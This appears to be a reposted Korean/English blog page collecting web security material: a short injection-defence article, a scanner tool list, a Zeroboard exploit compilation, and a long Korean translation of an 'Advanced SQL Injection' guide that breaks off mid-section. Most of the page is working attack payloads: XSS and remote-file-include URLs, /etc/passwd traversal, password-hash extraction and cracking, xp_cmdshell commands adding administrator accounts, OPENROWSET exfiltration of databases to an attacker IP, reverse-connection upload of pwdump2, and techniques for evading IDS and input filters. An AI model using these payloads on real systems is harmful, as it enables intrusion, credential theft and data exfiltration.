In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.


The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.


The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.

To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.

 

Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.

 

About the Author

Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.

2009/08/26 17:43 2009/08/26 17:43

Security Test Tools for Web Applications


1. Web applications and their security problems

2. The Test Applications

3. Security Check Tools: Capabilities, Limitations, practical Tips

4. Free Tools

5. Watchfire AppScan Audit

6. SPI WebInspect

7. Acunetix Web Vulnerability Scanner

8. Tools not evaluated

9. Comparison Table for Commercial Tools

10. Useful Auxiliary Tools

11. Conclusion

12. Further Information

2009/08/26 17:43 2009/08/26 17:43

출처 SecurityPlus

게시판만들때 참고하면 많은 도움 됩니다


==============================================================================


안녕하세요. SecurityPlus입니다.

본 자료는 국내 해커 및 보안 강사로 활동 중인 이경태님께서 제공해 주셨습니다.

그럼, 많은 활용 바랍니다.

안녕히 계세요.


제로보드 취약점 총정리  

■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E


■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/


■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/


■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00


■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(no_no_no_document.cookie)</sc
ript>


■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------


■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a

2009/08/26 17:42 2009/08/26 17:42

Advanced SQL Injection

 

 

                  Written by Osiris Thomas

 

 


 

 

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

 

 

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID

Name

LastName

Login

Password

1

John

Smith

jsmith

hello

2

Adam

Taylor

adamt

qwerty

3

Daniel

Thompson

dthompson

dthompson

 

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

 

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

 

 

1.2 DML & DLL

Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

 

 

1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

 

 

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

 

애플리케이션을 통한 데이터베이스 접근 방법

Perl and CGI scripts

ASP, JSP, PHP

XML, XSL and XSQL

no_javascript

VB, MFC, and other ODBC-based tools and APIs

DB specific Web-based applications and API’s

Reports and DB Applications

3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

 

 

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

 

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

 

a)문자를 통한 Injection

formusr = ' or 1=1 – –

formpwd = anything

 

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'

 

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";

 

a) 숫자 입력 필드에 삽입

$formacct = 1 or 1=1 #

$formpin = 1111

 

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

 

2 SQL Injection 테스트 방법론 


 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

 

▪ 문자 : ' " ) # || + >

SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

 

 

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

 

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

 

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

 

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

 

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -

 

iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.

 

Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

' and condition  and '1'='1

 

ii. IF문을 사용

'; if condition  waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

 

iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.

 

b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT  * FROM table WHERE x = 'normalinput' group by x having 1=1 --

GROUP BY x HAVING x = y ORDER BY x

 

ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users    SET password = 'new password'  WHERE login = logged.user
AND password = 'old password'

 

c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.

 

DBMS별 차이점 (1)



 

DBMS별 차이점 (2)

 


 

d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user  or current_user

session_user

system_user

' and 1 in (select user ) --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

 

ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등

 

iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.

 

e) OS interaction 레벨을 결정

 

3) 1=1 Attacks

 데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.

 

a) 테이블에 정의된 사용자를 열거하는 Query

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

 

b) DB에서 테이블 컬럼명을 열거하는 쿼리

MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')

sp_columns tablename (this stored procedure can be used instead)

MySQL

show columns from tablename

 

Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

 

c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

 

d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.' ) --

 

e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

 

d) 각 DBMS별 시스템 테이블

MySQL

MS SQL Server

Oracle

MS Access

mysql.user

mysql.host

mysql.db

 

sysobjects

syscolumns

systypes

sysdatabases

 

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

 

 

e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

 from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --

 

f) 데이터베이스에 계정 생성하기

MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD(' Pass123'))

Access

CREATE USER victor IDENTIFIED BY ' Pass123'

Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

Oracle

CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

 

g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins

 

ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins


 

   ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16) 
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1) 

select @i=@i+1  END

 

   iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

 

   vi. 에러 메시지를 통해서 해쉬 값 추출하기

' and 1 in (select x from temp) --

' and 1 in (select substring (x, 256, 256) from temp) --

' and 1 in (select substring (x, 512, 256) from temp) --

' drop table temp --

 

 

 

 

 

 


 

   v. 패스워드 무작위 대입

SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

 


 

   vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성

 

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into                                                  
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')                  
select * from user_database.dbo.sysobjects --

'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

 


 

step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

 


 

5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.

 

a) MySQL OS Interaction

 

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

 

 


 

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

 

 

 

 


 

iii. SELECT INTO OUTFILE

 

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.

 

 

 

 

 


▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

' and 1 in (select @@servername ) --

' and 1 in (select srvname from master..sysservers ) --

 

 

 


 

ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

 

 


 

iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --

 

 

 

 

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;',
'select * from table')

 

 

 

 

▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

Ipconfig /all

Tracert  myIP

arp -a

nbtstat -c

netstat -ano

route print

 

 

 

 

 

 

 

 

ii. 네트워크 예비 점검 전체 Query

'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,255) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

 

6) OS 명령 프롬프트

i. OS로 점프하기

Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

 

 

 

 

 

 

 

 

 


 

ii. ActiveX 자동 스크립트 이용

Speech example

'; declare @o int, @var int                                    
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150            
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '
00:00:03' --

 


 

iii. 레지스트리로부터 VNC 패스워드 찾기

'; declare @out binary(8)
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--

' and 1 in (select cast(x as varchar) from temp) --

 

 

 

 

 

 

 

 

 


 


7) 확장된 효과

▪ 다른 DB서버에 연결 하기

 

i. MS SQL에 링크된 서버를 찾기

select * from sysservers

 

 

 

 

 

ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.

 

iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.

 

▪ 링크된 서버에도 접속이 가능하다.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

master.dbo.sysdatabases'

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

Reverse 연결을 통한 파일 업로드

'; create table AttackerTable (data text) --

'; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')

'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','  MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --

'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

 


 

SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.

 

) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.

 

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의  hex 문자(4000byte) →…0000000000000000000
' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --

 


 

Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다

 

 

3 회피 기술

 

3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.

 

3.2 IDS “signature” 우회

 

1) ‘OR 1=1 “signature”우회하기

 아래와 같은 문자를 삽입해서 우회 할 수 있다.

' OR 'unusual' = 'unusual'

' OR 'something' = 'some'+'thing'

' OR 'text' = N'text'

' OR 'something' like 'some%'

' OR 2 > 1

' OR 'text' > 't'

' OR 'whatever' IN ('whatever')

' OR 2 BETWEEN 1 AND 3

 

 

 

 

 

 

 

 

 


 

3.3 입력 값 검증 우회 하기

PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)

 

 

 

 

 


 

▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.

 

3.4 회피와 우회

 

i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

URL encoding

Unicode/UTF-8

Hex enconding

char() function

 

 

 

 

 


 

ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

 인용 부호를 제외한 Inject  (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

 


 

iii. 공백을 이용한 IDS Sinature 우회

UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.

 

iv. 주석 처리를 이용한 IDS Signature 회피

 /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다

UNION/**/SELECT/**/

'/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME:  ' or 1/*

PASSWORD:  */ =1

 

 

 

 

 

 

 

 


 

v. 스트링 연결자를 이용한 IDS Signature 우회 

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

